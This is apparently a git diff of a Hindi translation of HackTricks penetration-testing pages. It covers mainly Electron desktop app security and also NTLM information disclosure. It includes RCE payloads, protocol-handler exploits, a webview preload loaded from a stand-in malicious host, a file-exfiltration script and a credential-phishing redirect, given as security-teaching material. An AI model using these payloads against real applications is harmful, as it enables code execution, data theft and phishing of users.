यदि running server authentication माँग रहा है और वह **Windows** है या आप कोई login पाते हैं जो आपके **credentials** माँगता है (और **domain** नाम माँगता है), तो आप **information disclosure** करवा सकते हैं।\
|
||||
**Send** the **header**: `“Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=”` और NTLM authentication के काम करने के तरीके के कारण, server internal info (IIS version, Windows version...) को header "WWW-Authenticate" में return करेगा।\
|
||||
आप इसे ऑटोमेट करने के लिए **nmap plugin** "_http-ntlm-info.nse_" का उपयोग कर सकते हैं।
|
||||
यदि running server authentication माँग रहा है और वह **Windows** है या आप कोई login पाते हैं जो आपकी **credentials** माँगता है (और **domain** **name** माँगता है), तो आप एक **information disclosure** provoke कर सकते हैं।\
|
||||
**Send** यह **header**: `“Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=”` और NTLM authentication के काम करने के तरीके के कारण, server header "WWW-Authenticate" के अंदर internal info (IIS version, Windows version...) के साथ respond करेगा।\
|
||||
आप इसे automate करने के लिए **nmap plugin** "_http-ntlm-info.nse_" का उपयोग कर सकते हैं।
|
||||
|
||||
**HTTP Redirect (CTF)**
|
||||
|
||||
Redirection में content रखा जा सकता है। यह content user को दिखाई नहीं देता (क्योंकि browser redirection execute कर देता है) पर वहाँ कुछ छिपाया जा सकता है।
|
||||
Redirection के अंदर content रखना संभव है। यह content user को दिखाई नहीं देगा (क्योंकि browser redirection execute करेगा) पर कुछ चीज़ें वहाँ छुपी हो सकती हैं।
|
||||
|
||||
### Web Vulnerabilities Checking
|
||||
|
||||
अब जब web application का व्यापक enumeration कर लिया गया है, तो कई संभावित vulnerabilities की जाँच करने का समय है। आप checklist यहाँ पाएँगे:
|
||||
अब जब web application का व्यापक enumeration पूरा हो गया है, तो अब कई संभावित vulnerabilities की जाँच करने का समय है। आप checklist यहाँ पा सकते हैं:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
../../pentesting-web/web-vulnerabilities-methodology.md
|
||||
{{#endref}}
|
||||
|
||||
Web vulns के बारे में और जानकारी:
|
||||
web vulns के बारे में और जानकारी:
|
||||
|
||||
- [https://six2dez.gitbook.io/pentest-book/others/web-checklist](https://six2dez.gitbook.io/pentest-book/others/web-checklist)
|
||||
- [https://kennel209.gitbooks.io/owasp-testing-guide-v4/content/en/web_application_security_testing/configuration_and_deployment_management_testing.html](https://kennel209.gitbooks.io/owasp-testing-guide-v4/content/en/web_application_security_testing/configuration_and_deployment_management_testing.html)
|
||||
@ -343,7 +342,7 @@ Web vulns के बारे में और जानकारी:
|
||||
|
||||
### Monitor Pages for changes
|
||||
|
||||
आप ऐसे tools का उपयोग कर सकते हैं जैसे [https://github.com/dgtlmoon/changedetection.io](https://github.com/dgtlmoon/changedetection.io) ताकि pages में होने वाले modifications को monitor किया जा सके, जो vulnerabilities ला सकते हैं।
|
||||
आप pages में किए गए modifications की निगरानी के लिए [https://github.com/dgtlmoon/changedetection.io](https://github.com/dgtlmoon/changedetection.io) जैसे tools का उपयोग कर सकते हैं ताकि संभावित vulnerabilities के आने पर पता चल सके।
|
||||
|
||||
### HackTricks Automatic Commands
|
||||
```
|
||||
|
||||
@ -1,12 +1,12 @@
|
||||
# Electron डेस्कटॉप ऐप्स
|
||||
# Electron Desktop Apps
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## परिचय
|
||||
|
||||
Electron स्थानीय बैकएंड (**NodeJS** के साथ) और फ्रंटएंड (**Chromium**) को मिलाता है, हालांकि इसमें आधुनिक ब्राउज़रों के कुछ सुरक्षा तंत्र नहीं होते।
|
||||
Electron स्थानीय backend (**NodeJS** के साथ) और frontend (**Chromium**) को जोड़ता है, हालांकि इसमें आधुनिक ब्राउज़रों की कुछ सुरक्षा तंत्रों की कमी होती है।
|
||||
|
||||
आम तौर पर आप Electron ऐप का कोड `.asar` application के अंदर पाएँगे; कोड प्राप्त करने के लिए आपको इसे निकालना होगा:
|
||||
आमतौर पर आप Electron app का कोड `.asar` एप्लिकेशन के अंदर पाएंगे; कोड प्राप्त करने के लिए आपको इसे extract करना होगा:
|
||||
```bash
|
||||
npx asar extract app.asar destfolder #Extract everything
|
||||
npx asar extract-file app.asar main.js #Extract just a file
|
||||
@ -17,14 +17,14 @@ Electron app के स्रोत कोड में, `packet.json` के
|
||||
"name": "standard-notes",
|
||||
"main": "./app/index.js",
|
||||
```
|
||||
Electron में 2 process प्रकार हैं:
|
||||
Electron के 2 प्रकार के प्रोसेस हैं:
|
||||
|
||||
- Main Process (NodeJS तक पूर्ण पहुँच होती है)
|
||||
- Main Process (NodeJS तक पूर्ण पहुँच है)
|
||||
- Renderer Process (सुरक्षा कारणों से NodeJS की पहुँच सीमित होनी चाहिए)
|
||||
|
||||
.png>)
|
||||
|
||||
एक **renderer process** एक ब्राउज़र विंडो होगी जो एक फ़ाइल लोड करती है:
|
||||
एक **renderer process** ब्राउज़र विंडो होगी जो एक फाइल लोड करेगी:
|
||||
```javascript
|
||||
const { BrowserWindow } = require("electron")
|
||||
let win = new BrowserWindow()
|
||||
@ -32,18 +32,33 @@ let win = new BrowserWindow()
|
||||
//Open Renderer Process
|
||||
win.loadURL(`file://path/to/index.html`)
|
||||
```
|
||||
main.js फ़ाइल के अंदर **main प्रक्रिया** में **renderer प्रक्रिया** की सेटिंग्स **कॉन्फ़िगर** की जा सकती हैं। कुछ कॉन्फ़िगरेशन Electron application को RCE या अन्य vulnerabilities मिलने से **रोक सकते हैं** यदि ये **settings सही तरीके से कॉन्फ़िगर** किए गए हों।
|
||||
Settings of the **renderer process** can be **configured** in the **main process** inside the main.js file. Some of the configurations will **prevent the Electron application to get RCE** or other vulnerabilities if the **settings are correctly configured**.
|
||||
|
||||
Electron application **डिवाइस तक पहुँच कर सकता है** via Node apis, हालांकि इसे रोकने के लिए कॉन्फ़िगर किया जा सकता है:
|
||||
main.js फ़ाइल के अंदर **main process** में **renderer process** की सेटिंग्स **configured** की जा सकती हैं। अगर ये सेटिंग्स सही तरीके से कॉन्फ़िगर की गई हों तो इनमें से कुछ कॉन्फ़िगरेशन Electron application को RCE या अन्य vulnerabilities आने से रोक सकती हैं।
|
||||
|
||||
- **`nodeIntegration`** - डिफ़ॉल्ट रूप से `off` है। अगर `on` हो, तो renderer प्रक्रिया से node features तक पहुँचने की अनुमति देता है।
|
||||
- **`contextIsolation`** - डिफ़ॉल्ट रूप से `on` है। अगर `off` हो, तो main और renderer प्रक्रियाएँ अलग-थलग नहीं रहतीं।
|
||||
The electron application **could access the device** via Node apis although it can be configure to prevent it:
|
||||
|
||||
Electron application Node apis के माध्यम से डिवाइस तक पहुँच सकती है, हालांकि इसे रोकने के लिए कॉन्फ़िगर किया जा सकता है:
|
||||
|
||||
- **`nodeIntegration`** - is `off` by default. If on, allows to access node features from the renderer process.
|
||||
- **`contextIsolation`** - is `on` by default. If off, main and renderer processes aren't isolated.
|
||||
- **`preload`** - empty by default.
|
||||
- [**`sandbox`**](https://docs.w3cub.com/electron/api/sandbox-option) - is off by default. It will restrict the actions NodeJS can perform.
|
||||
- Node Integration in Workers
|
||||
- **`nodeIntegrationInSubframes`**- is `off` by default.
|
||||
- If **`nodeIntegration`** is **enabled**, this would allow the use of **Node.js APIs** in web pages that are **loaded in iframes** within an Electron application.
|
||||
- If **`nodeIntegration`** is **disabled**, then preloads will load in the iframe
|
||||
|
||||
- **`nodeIntegration`** - डिफ़ॉल्ट रूप से `off` है। यदि `on` है, तो renderer process से node फीचर्स तक पहुँचने की अनुमति देता है।
|
||||
- **`contextIsolation`** - डिफ़ॉल्ट रूप से `on` है। यदि `off` है, तो main और renderer processes अलग-थलग नहीं रहते।
|
||||
- **`preload`** - डिफ़ॉल्ट रूप से खाली है।
|
||||
- [**`sandbox`**](https://docs.w3cub.com/electron/api/sandbox-option) - डिफ़ॉल्ट रूप से off है। यह NodeJS के द्वारा की जाने वाली actions को सीमित करेगा।
|
||||
- [**`sandbox`**](https://docs.w3cub.com/electron/api/sandbox-option) - डिफ़ॉल्ट रूप से `off` है। यह NodeJS द्वारा किए जा सकने वाले actions को प्रतिबंधित करेगा।
|
||||
- Workers में Node Integration
|
||||
- **`nodeIntegrationInSubframes`** - डिफ़ॉल्ट रूप से `off` है।
|
||||
- यदि **`nodeIntegration`** **सक्षम** है, तो यह Electron application के भीतर iframes में लोड होने वाले web pages में **Node.js APIs** के उपयोग की अनुमति देगा।
|
||||
- यदि **`nodeIntegration`** **निष्क्रिय** है, तो preloads iframe में लोड होंगे
|
||||
- यदि **`nodeIntegration`** **enabled** है, तो यह Electron application के अंदर iframes में लोड किए गए वेब पेजों में **Node.js APIs** के उपयोग की अनुमति देगा।
|
||||
- यदि **`nodeIntegration`** **disabled** है, तो preload स्क्रिप्ट्स iframe में लोड होंगे।
|
||||
|
||||
Example of configuration:
|
||||
|
||||
कॉन्फ़िगरेशन का उदाहरण:
|
||||
```javascript
|
||||
@ -71,7 +86,7 @@ spellcheck: true,
|
||||
},
|
||||
}
|
||||
```
|
||||
कुछ **RCE payloads** [यहाँ](https://7as.es/electron/nodeIntegration_rce.txt):
|
||||
कुछ **RCE payloads** [here](https://7as.es/electron/nodeIntegration_rce.txt) से:
|
||||
```html
|
||||
Example Payloads (Windows):
|
||||
<img
|
||||
@ -103,7 +118,8 @@ start-main कॉन्फ़िगरेशन को संशोधित क
|
||||
```
|
||||
## Electron Local Code Injection
|
||||
|
||||
यदि आप किसी Electron App को लोकली चला सकते हैं, तो संभव है कि आप इसे arbitrary javascript code चलाने के लिए मजबूर कर सकें। तरीका देखें:
|
||||
यदि आप स्थानीय रूप से किसी Electron App को चला सकते हैं, तो संभव है कि आप इसे मनमाना javascript code निष्पादित करने के लिए मजबूर कर सकें। इसके बारे में देखें:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
../../../macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-electron-applications-injection.md
|
||||
@ -111,7 +127,7 @@ start-main कॉन्फ़िगरेशन को संशोधित क
|
||||
|
||||
## RCE: XSS + nodeIntegration
|
||||
|
||||
यदि **nodeIntegration** **on** पर सेट है, तो किसी वेब पेज का JavaScript आसानी से Node.js फीचर्स का उपयोग कर सकता है सिर्फ `require()` कॉल करके। उदाहरण के लिए, Windows पर calc application चलाने का तरीका है:
|
||||
यदि **nodeIntegration** **on** पर सेट है, तो किसी वेब पेज का JavaScript सिर्फ `require()` कॉल करके आसानी से Node.js फीचर्स का उपयोग कर सकता है। उदाहरण के लिए, Windows पर calc application को चलाने का तरीका है:
|
||||
```html
|
||||
<script>
|
||||
require("child_process").exec("calc")
|
||||
@ -123,7 +139,7 @@ top.require("child_process").exec("open /System/Applications/Calculator.app")
|
||||
|
||||
## RCE: preload
|
||||
|
||||
इस सेटिंग में निर्दिष्ट स्क्रिप्ट **renderer में अन्य स्क्रिप्ट्स से पहले लोड की जाती है**, इसलिए इसे **Node APIs तक असीमित पहुँच** है:
|
||||
यह सेटिंग में निर्दिष्ट स्क्रिप्ट **renderer में अन्य स्क्रिप्ट्स से पहले लोड होती है**, इसलिए इसे **Node APIs तक असीमित पहुँच** है:
|
||||
```javascript
|
||||
new BrowserWindow{
|
||||
webPreferences: {
|
||||
@ -132,7 +148,7 @@ preload: _path2.default.join(__dirname, 'perload.js'),
|
||||
}
|
||||
});
|
||||
```
|
||||
इसलिए स्क्रिप्ट node-features को pages में export कर सकती है:
|
||||
इसलिए, स्क्रिप्ट node-features को pages में निर्यात कर सकती है:
|
||||
```javascript:preload.js
|
||||
typeof require === "function"
|
||||
window.runCalc = function () {
|
||||
@ -152,13 +168,13 @@ runCalc()
|
||||
|
||||
## RCE: XSS + contextIsolation
|
||||
|
||||
The _**contextIsolation**_ वेब पेज स्क्रिप्ट्स और JavaScript Electron के internal code के बीच **अलग-अलग contexts** प्रस्तुत करता है ताकि प्रत्येक कोड की JavaScript execution एक-दूसरे को प्रभावित न करे। यह RCE की संभावना को समाप्त करने के लिए आवश्यक फीचर है।
|
||||
The _**contextIsolation**_ वेब पेज स्क्रिप्ट्स और Electron के internal JavaScript कोड के बीच **अलग किए गए contexts** पेश करता है ताकि प्रत्येक कोड की JavaScript execution एक-दूसरे को प्रभावित न करे। यह RCE की संभावना को खत्म करने के लिए एक आवश्यक फीचर है।
|
||||
|
||||
यदि contexts अलग नहीं हैं तो attacker कर सकता है:
|
||||
यदि contexts isolated नहीं हैं तो attacker कर सकता है:
|
||||
|
||||
1. renderer में **arbitrary JavaScript को execute करना** (XSS या external साइटों पर navigation)
|
||||
2. **preload या Electron internal code में उपयोग होने वाले built-in method को overwrite करना** और उसे अपने function में बदलना
|
||||
3. **overwrite किए गए function के उपयोग को trigger करना**
|
||||
1. Execute **renderer में arbitrary JavaScript** (XSS या external साइटों पर navigation)
|
||||
2. **preload या Electron internal code में उपयोग किए जाने वाले built-in method** को overwrite करना ताकि function पर control हासिल किया जा सके
|
||||
3. **overwritten function** के उपयोग को **trigger** करना
|
||||
4. RCE?
|
||||
|
||||
There are 2 places where built-int methods can be overwritten: In preload code or in Electron internal code:
|
||||
@ -180,34 +196,34 @@ electron-contextisolation-rce-via-ipc.md
|
||||
|
||||
### Bypass click event
|
||||
|
||||
यदि किसी link पर click करने पर restrictions लागू हैं तो आप उन्हें bypass कर सकते हैं **doing a middle click** के ज़रिए, regular left click की जगह।
|
||||
यदि link पर क्लिक करने पर कुछ restrictions लागू होते हैं, तो आप उन्हें नियमित left click की बजाय **middle click** करके bypass कर सकते हैं।
|
||||
```javascript
|
||||
window.addEventListener('click', (e) => {
|
||||
```
|
||||
## RCE via shell.openExternal
|
||||
## RCE के माध्यम से shell.openExternal
|
||||
|
||||
इन उदाहरणों के बारे में अधिक जानकारी के लिए देखें [https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8](https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8) और [https://benjamin-altpeter.de/shell-openexternal-dangers/](https://benjamin-altpeter.de/shell-openexternal-dangers/)
|
||||
|
||||
जब Electron desktop application को deploy करते समय, `nodeIntegration` और `contextIsolation` की सही settings सुनिश्चित करना बेहद महत्वपूर्ण है। यह स्थापित है कि **client-side remote code execution (RCE)** जो preload scripts या Electron's native code को main process से लक्षित करती है, इन settings के साथ प्रभावी रूप से रोकी जाती है।
|
||||
Electron डेस्कटॉप एप्लिकेशन तैनात करते समय, `nodeIntegration` और `contextIsolation` के सही सेटिंग्स सुनिश्चित करना बहुत महत्वपूर्ण है। यह स्थापित है कि ये सेटिंग्स होने पर preload scripts या Electron के native code को main process से टार्गेट करने वाली **client-side remote code execution (RCE)** प्रभावी रूप से रोकी जाती है।
|
||||
|
||||
लिंक्स के साथ इंटरैक्ट करने या नए विंडो खोलने पर विशिष्ट event listeners ट्रिगर होते हैं, जो एप्लिकेशन की सुरक्षा और कार्यक्षमता के लिए महत्वपूर्ण हैं:
|
||||
जब उपयोगकर्ता लिंक के साथ इंटरैक्ट करता है या नया विंडो खोलता है, तो कुछ विशेष event listeners ट्रिगर होते हैं, जो एप्लिकेशन की सुरक्षा और कार्यक्षमता के लिए महत्वपूर्ण होते हैं:
|
||||
```javascript
|
||||
webContents.on("new-window", function (event, url, disposition, options) {}
|
||||
webContents.on("will-navigate", function (event, url) {}
|
||||
```
|
||||
ये listeners डेस्कटॉप एप्लिकेशन द्वारा अपनी **business logic** लागू करने के लिए **ओवरराइड** किए जाते हैं। एप्लिकेशन यह आकलन करता है कि नेविगेट किया गया लिंक अंदर ही खुलना चाहिए या किसी बाहरी वेब ब्राउज़र में। यह निर्णय सामान्यतः `openInternally` फ़ंक्शन के माध्यम से लिया जाता है। अगर यह फ़ंक्शन `false` लौटाता है, तो इसका मतलब है कि लिंक को बाहरी रूप से खोलना चाहिए, `shell.openExternal` फ़ंक्शन का उपयोग करते हुए।
|
||||
ये listeners को डेस्कटॉप एप्लिकेशन द्वारा **ओवरराइड** किया जाता है ताकि इसका अपना **बिजनेस लॉजिक** लागू किया जा सके। एप्लिकेशन यह मूल्यांकन करता है कि नेविगेट की गई लिंक को आंतरिक रूप से खोलना चाहिए या किसी external वेब ब्राउज़र में। यह निर्णय आमतौर पर `openInternally` फ़ंक्शन के माध्यम से लिया जाता है। यदि यह फ़ंक्शन `false` लौटाता है, तो इसका अर्थ है कि लिंक को बाहरी रूप से खोलना चाहिए, यानी `shell.openExternal` फ़ंक्शन का उपयोग किया जाएगा।
|
||||
|
||||
**Here is a simplified pseudocode:**
|
||||
**यहाँ एक सरलीकृत pseudocode है:**
|
||||
|
||||
.png>)
|
||||
|
||||
.png>)
|
||||
|
||||
Electron JS security best practices सलाह देती हैं कि `openExternal` फ़ंक्शन के साथ अनविश्वसनीय कंटेंट को स्वीकार न किया जाए, क्योंकि यह विभिन्न प्रोटोकॉल्स के माध्यम से RCE का कारण बन सकता है। ऑपरेटिंग सिस्टम अलग-अलग प्रोटोकॉल्स को सपोर्ट करते हैं जो RCE ट्रिगर कर सकते हैं। इस विषय पर विस्तृत उदाहरणों और आगे की व्याख्या के लिए, [यह संसाधन](https://positive.security/blog/url-open-rce#windows-10-19042) देखें, जो Windows प्रोटोकॉल उदाहरण शामिल करता है जो इस vulnerability का फायदा उठा सकते हैं।
|
||||
Electron JS सुरक्षा सर्वोत्तम प्रथाएँ `openExternal` फ़ंक्शन के साथ अनविश्वसनीय कंटेंट स्वीकार करने के खिलाफ चेतावनी देती हैं, क्योंकि यह विभिन्न protocols के माध्यम से RCE का कारण बन सकता है। ऑपरेटिंग सिस्टम विभिन्न protocols को सपोर्ट करते हैं जो RCE ट्रिगर कर सकते हैं। इस विषय पर विस्तृत उदाहरणों और आगे की व्याख्या के लिए, [this resource](https://positive.security/blog/url-open-rce#windows-10-19042) देखें, जिसमें Windows protocol examples शामिल हैं जो इस vulnerability को exploit कर सकते हैं।
|
||||
|
||||
In macos, the `openExternal` function can be exploited to execute arbitrary commands like in `shell.openExternal('file:///System/Applications/Calculator.app')`.
|
||||
macos में, `openExternal` फ़ंक्शन का exploit करके arbitrary commands execute किए जा सकते हैं, जैसे `shell.openExternal('file:///System/Applications/Calculator.app')`।
|
||||
|
||||
**Windows प्रोटोकॉल exploits के उदाहरण शामिल हैं:**
|
||||
**Windows protocol exploits के उदाहरण शामिल हैं:**
|
||||
```html
|
||||
<script>
|
||||
window.open(
|
||||
@ -229,15 +245,15 @@ window.open(
|
||||
```
|
||||
## RCE: webviewTag + vulnerable preload IPC + shell.openExternal
|
||||
|
||||
This vuln can be found in **[this report](https://flatt.tech/research/posts/escaping-electron-isolation-with-obsolete-feature/)**.
|
||||
यह कमज़ोरी **[this report](https://flatt.tech/research/posts/escaping-electron-isolation-with-obsolete-feature/)** में पाई जा सकती है।
|
||||
|
||||
**webviewTag** एक **deprecated feature** है जो **renderer process** में **NodeJS** के उपयोग की अनुमति देता है, और इसे अक्षम किया जाना चाहिए क्योंकि यह preload context के अंदर एक script लोड करने की अनुमति देता है, जैसे:
|
||||
The **webviewTag** is a **deprecated feature** that allows the use of **NodeJS** in the **renderer process**, and इसे अक्षम कर देना चाहिए क्योंकि यह preload context के अंदर एक script लोड करने की अनुमति देता है जैसा कि:
|
||||
```xml
|
||||
<webview src="https://example.com/" preload="file://malicious.example/test.js"></webview>
|
||||
```
|
||||
इसलिए, एक हमलावर जो किसी भी पेज को लोड करने में सफल हो जाए, वह उस टैग का उपयोग करके **load an arbitrary preload script** लोड कर सकता है।
|
||||
इसलिए, एक attacker जो किसी arbitrary पेज को लोड करने में सक्षम हो, वह उस tag का उपयोग करके **load an arbitrary preload script** कर सकता है।
|
||||
|
||||
यह preload script फिर दुरुपयोग करके एक **vulnerable IPC service (`skype-new-window`)** को कॉल करने के लिए इस्तेमाल किया गया, जो RCE पाने के लिए **`shell.openExternal`** को कॉल कर रहा था:
|
||||
इसके बाद इस preload script का दुरुपयोग कर एक **vulnerable IPC service (`skype-new-window`)** को कॉल किया गया, जो RCE पाने के लिए **`shell.openExternal`** को कॉल कर रहा था:
|
||||
```javascript
|
||||
(async() => {
|
||||
const { ipcRenderer } = require("electron");
|
||||
@ -248,13 +264,13 @@ await ipcRenderer.invoke("skype-new-window", `file:///C:/Users/${username[1]}/Do
|
||||
}, 5000);
|
||||
})();
|
||||
```
|
||||
## आंतरिक फ़ाइलें पढ़ना: XSS + contextIsolation
|
||||
## आंतरिक फाइलें पढ़ना: XSS + contextIsolation
|
||||
|
||||
**`contextIsolation` को अक्षम करने से `<webview>` टैग का उपयोग संभव हो जाता है**, `<iframe>` की तरह, स्थानीय फ़ाइलों को पढ़ने और exfiltrating करने के लिए। नीचे दिया गया उदाहरण दिखाता है कि इस vulnerability का उपयोग करके आंतरिक फ़ाइलों की सामग्री कैसे पढ़ी जा सकती है:
|
||||
**`contextIsolation` को अक्षम करने से `<webview>` टैग्स का उपयोग संभव हो जाता है**, `<iframe>` के समान, स्थानीय फाइलों को पढ़ने और exfiltrating के लिए। दिया गया उदाहरण दिखाता है कि इस vulnerability का exploit करके आंतरिक फाइलों की सामग्री कैसे पढ़ी जा सकती है:
|
||||
|
||||
.png>)
|
||||
|
||||
इसके अलावा, आंतरिक फ़ाइल पढ़ने के लिए एक और तरीका साझा किया गया है, जो एक गंभीर local file read vulnerability को Electron desktop app में उजागर करता है। इसमें application को exploit करने और data exfiltrate करने के लिए एक script इंजेक्ट करना शामिल है:
|
||||
इसके अलावा, आंतरिक फ़ाइल पढ़ने का एक और तरीका साझा किया गया है, जो Electron desktop app में एक गंभीर local file read vulnerability को उजागर करता है। यह ऐप्लिकेशन को exploit करने और data को exfiltrate करने के लिए एक script inject करने में शामिल है:
|
||||
```html
|
||||
<br /><br /><br /><br />
|
||||
<h1>
|
||||
@ -272,39 +288,39 @@ frames[0].document.body.innerText
|
||||
```
|
||||
## **RCE: XSS + Old Chromium**
|
||||
|
||||
यदि एप्लिकेशन द्वारा उपयोग किया गया **chromium** **पुराना** है और उस पर **known** **vulnerabilities** मौजूद हैं, तो संभव है कि इसे **exploit** करके XSS के माध्यम से **RCE** प्राप्त किया जा सके।\
|
||||
यदि एप्लिकेशन द्वारा उपयोग किया गया **chromium** **old** है और उस पर **known** **vulnerabilities** मौजूद हैं, तो इसे **exploit it and obtain RCE through a XSS** करना संभव हो सकता है。\
|
||||
You can see an example in this **writeup**: [https://blog.electrovolt.io/posts/discord-rce/](https://blog.electrovolt.io/posts/discord-rce/)
|
||||
|
||||
## **XSS Phishing via Internal URL regex bypass**
|
||||
|
||||
मान लीजिए आपने XSS पाया है लेकिन आप **cannot trigger RCE or steal internal files** तो आप इसे **steal credentials via phishing** के लिए इस्तेमाल करने की कोशिश कर सकते हैं।
|
||||
मान लीजिए आपने XSS ढूंढ लिया है पर आप **cannot trigger RCE or steal internal files**, तो आप इसे **steal credentials via phishing** के लिए इस्तेमाल करने की कोशिश कर सकते हैं।
|
||||
|
||||
सबसे पहले आपको यह जानना होगा कि जब आप एक नया URL खोलने की कोशिश करते हैं तो क्या होता है — इसके लिए front-end में JS code की जाँच करें:
|
||||
सबसे पहले आपको यह जानना होगा कि जब आप कोई नया URL खोलने की कोशिश करते हैं तो क्या होता है — इसके लिए front-end में JS code की जांच करें:
|
||||
```javascript
|
||||
webContents.on("new-window", function (event, url, disposition, options) {} // opens the custom openInternally function (it is declared below)
|
||||
webContents.on("will-navigate", function (event, url) {} // opens the custom openInternally function (it is declared below)
|
||||
```
|
||||
**`openInternally`** कॉल यह तय करेगा कि क्या कोई **link** प्लेटफ़ॉर्म का होने के नाते **opened** **desktop window** में रहेगा, **or** यह **browser as a 3rd party resource** में खोला जाएगा।
|
||||
The call to **`openInternally`** will decide if the **link** will be **opened** in the **desktop window** as it's a link belonging to the platform, **or** if will be opened in the **browser as a 3rd party resource**.
|
||||
|
||||
यदि फ़ंक्शन द्वारा प्रयुक्त **regex** **vulnerable to bypasses** है (उदाहरण के लिए **not escaping the dots of subdomains**), तो एक attacker XSS का दुरुपयोग करके **open a new window which** कर सकता है जो attackers की infrastructure पर स्थित होगा और user से **asking for credentials** करेगा:
|
||||
In the case the **regex** used by the function is **vulnerable to bypasses** (for example by **not escaping the dots of subdomains**) an attacker could abuse the XSS to **open a new window which** will be located in the attackers infrastructure **asking for credentials** to the user:
|
||||
```html
|
||||
<script>
|
||||
window.open("<http://subdomainagoogleq.com/index.html>")
|
||||
</script>
|
||||
```
|
||||
## `file://` Protocol
|
||||
## `file://` प्रोटोकॉल
|
||||
|
||||
As mentioned in [the docs](https://www.electronjs.org/docs/latest/tutorial/security#18-avoid-usage-of-the-file-protocol-and-prefer-usage-of-custom-protocols) pages running on **`file://`** आपके सिस्टम की हर फ़ाइल तक एकतरफा पहुँच रखते हैं, जिसका मतलब यह है कि **XSS issues can be used to load arbitrary files** from the users machine. एक **कस्टम प्रोटोकॉल** उपयोग करने से ऐसे मुद्दों को रोका जा सकता है क्योंकि आप प्रोटोकॉल को केवल एक निर्दिष्ट फ़ाइल सेट पर सर्विंग तक सीमित कर सकते हैं।
|
||||
जैसा कि [the docs](https://www.electronjs.org/docs/latest/tutorial/security#18-avoid-usage-of-the-file-protocol-and-prefer-usage-of-custom-protocols) में बताया गया है, **`file://`** पर चलने वाले पेजों को आपकी मशीन की हर फ़ाइल तक एकतरफा पहुँच मिलती है, जिसका अर्थ है कि **XSS issues can be used to load arbitrary files**। एक **custom protocol** का उपयोग ऐसी समस्याओं को रोकता है क्योंकि आप प्रोटोकॉल को केवल एक विशेष फ़ाइल सेट सर्व करने तक सीमित कर सकते हैं।
|
||||
|
||||
## Remote module
|
||||
|
||||
The Electron Remote module **renderer processes को main process APIs तक पहुँच देने** की अनुमति देता है, जो एक Electron एप्लिकेशन के भीतर संचार को आसान बनाता है। हालांकि, इस मॉड्यूल को सक्षम करने से गंभीर सुरक्षा जोखिम पैदा होते हैं। यह एप्लिकेशन के attack surface को बढ़ा देता है, जिससे यह cross-site scripting (XSS) जैसे vulnerabilities के लिए अधिक संवेदनशील हो जाता है।
|
||||
Electron Remote module अनुमति देता है कि **renderer processes to access main process APIs**, जिससे Electron एप्लिकेशन के भीतर संचार सुगम होता है। हालांकि, इस मॉड्यूल को सक्षम करने से महत्वपूर्ण सुरक्षा जोखिम उत्पन्न होते हैं। यह एप्लिकेशन के attack surface का विस्तार करता है, जिससे यह cross-site scripting (XSS) जैसे vulnerabilities के प्रति अधिक संवेदनशील हो जाता है।
|
||||
|
||||
> [!TIP]
|
||||
> Although the **remote** module main से renderer processes तक कुछ APIs एक्सपोज़ करता है, सिर्फ़ इन components का दुरुपयोग कर सीधे RCE हासिल करना सीधा आसान नहीं होता। हालांकि, ये components संवेदनशील जानकारी उजागर कर सकते हैं।
|
||||
> हालाँकि **remote** module main से renderer processes को कुछ APIs expose करता है, केवल इन components का दुरुपयोग करके सीधे RCE प्राप्त करना आसान नहीं है। हालाँकि, ये components संवेदनशील जानकारी उजागर कर सकते हैं।
|
||||
|
||||
> [!WARNING]
|
||||
> Many apps that still use the remote module इसे ऐसे तरीके से उपयोग करते हैं कि renderer process में **NodeIntegration को सक्षम करने** की आवश्यकता होती है, जो एक **बड़ा सुरक्षा जोखिम** है।
|
||||
> कई ऐप्स जो अभी भी remote module का उपयोग करते हैं, वे इसे इस तरह करते हैं कि **require NodeIntegration to be enabled** in the renderer process, जो कि एक **huge security risk** है।
|
||||
|
||||
Since Electron 14 the `remote` module of Electron might be enabled in several steops cause due to security and performance reasons it's **recommended to not use it**.
|
||||
|
||||
@ -319,39 +335,39 @@ mainWindow = new BrowserWindow({
|
||||
})
|
||||
remoteMain.enable(mainWindow.webContents)
|
||||
```
|
||||
फिर, renderer process module से objects import कर सकता है:
|
||||
फिर, renderer process इस तरह module से objects import कर सकता है:
|
||||
```javascript
|
||||
import { dialog, getCurrentWindow } from '@electron/remote'
|
||||
```
|
||||
यह **[blog post](https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html)** संकेत देता है कि remote module के object **`app`** द्वारा कुछ रोचक **functions** एक्सपोज़ किए गए हैं:
|
||||
यह **[blog post](https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html)** remote module के object **`app`** द्वारा expose किए गए कुछ रोचक **functions** दर्शाता है:
|
||||
|
||||
- **`app.relaunch([options])`**
|
||||
- **Restart** करता है एप्लिकेशन को वर्तमान instance को बंद करके और एक नया instance लॉन्च करके। यह **app updates** या महत्वपूर्ण **state changes** के लिए उपयोगी है।
|
||||
- **पुनः प्रारंभ करता है** एप्लिकेशन को, वर्तमान इंस्टेंस को **बंद** करके और एक नया **प्रारंभ** करके। यह **ऐप अपडेट्स** या महत्वपूर्ण **स्थिति परिवर्तनों** के लिए उपयोगी है।
|
||||
- **`app.setAppLogsPath([path])`**
|
||||
- एक निर्देशिका को परिभाषित या बनाता है जहाँ **app logs** संग्रहीत किये जाते हैं। लॉग्स को **प्राप्त** या **संशोधित** किया जा सकता है **`app.getPath()`** या **`app.setPath(pathName, newPath)`** का उपयोग करके।
|
||||
- **डायरेक्टरी को परिभाषित या बनाता है** ऐप लॉग्स को स्टोर करने के लिए। लॉग्स को **प्राप्त** या **संशोधित** किया जा सकता है **`app.getPath()`** या **`app.setPath(pathName, newPath)`** के माध्यम से।
|
||||
- **`app.setAsDefaultProtocolClient(protocol[, path, args])`**
|
||||
- वर्तमान executable को निर्दिष्ट **protocol** के लिए **default handler** के रूप में रजिस्टर करता है। आवश्यक होने पर आप एक **custom path** और **arguments** प्रदान कर सकते हैं।
|
||||
- **रजिस्टर करता है** वर्तमान executable को एक निर्दिष्ट **protocol** के लिए **default handler** के रूप में। आवश्यकता होने पर आप एक **custom path** और **arguments** प्रदान कर सकते हैं।
|
||||
